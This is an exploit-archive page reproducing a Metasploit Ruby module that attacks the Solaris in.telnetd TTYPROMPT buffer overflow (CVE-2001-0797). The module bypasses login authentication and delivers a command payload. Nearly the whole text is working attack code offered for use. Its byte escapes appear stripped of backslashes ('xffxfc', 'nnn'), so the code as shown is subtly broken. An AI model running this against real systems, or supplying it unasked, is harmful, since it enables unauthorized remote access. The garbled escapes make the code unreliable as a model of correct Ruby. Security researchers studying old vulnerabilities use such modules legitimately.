[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Solaris in.telnetd TTYPROMPT Buffer Overflow
# Published : 2002-01-18
# Author : MC
# Previous Title : rsync <= 2.5.1 Remote Exploit
# Next Title : System V Derived /bin/login Extraneous Arguments Buffer Overflow (modem based)
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
'Description' => %q{
This module uses a buffer overflow in the Solaris 'login'
application to bypass authentication in the telnet daemon.
},
'Author' => [ 'MC', 'cazz' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2001-0797'],
[ 'OSVDB', '690'],
[ 'BID', '5531'],
],
'Privileged' => false,
'Platform' => ['unix', 'solaris'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
['Automatic', { }],
],
'DisclosureDate' => 'Jan 18 2002',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(23),
OptString.new('USER', [ true, "The username to use", "bin" ]),
], self.class)
end
def exploit
connect
banner = sock.get_once
print_status('Setting TTYPROMPT...')
req =
"xffxfcx18" +
"xffxfcx1f" +
"xffxfcx21" +
"xffxfcx23" +
"xffxfbx22" +
"xffxfcx24" +
"xffxfbx27" +
"xffxfbx00" +
"xffxfax27x00" +
"x00TTYPROMPT" +
"x01" +
rand_text_alphanumeric(6) +
"xffxf0"
sock.put(req)
sleep(0.25)
print_status('Sending username...')
filler = rand_text_alpha(rand(10) + 1)
req << datastore['USER'] + (" #{filler}" * 65)
sock.put(req + "nnn")
sleep(0.25)
sock.get_once
sock.put(payload.encoded + "n")
sleep(0.25)
handler
end
end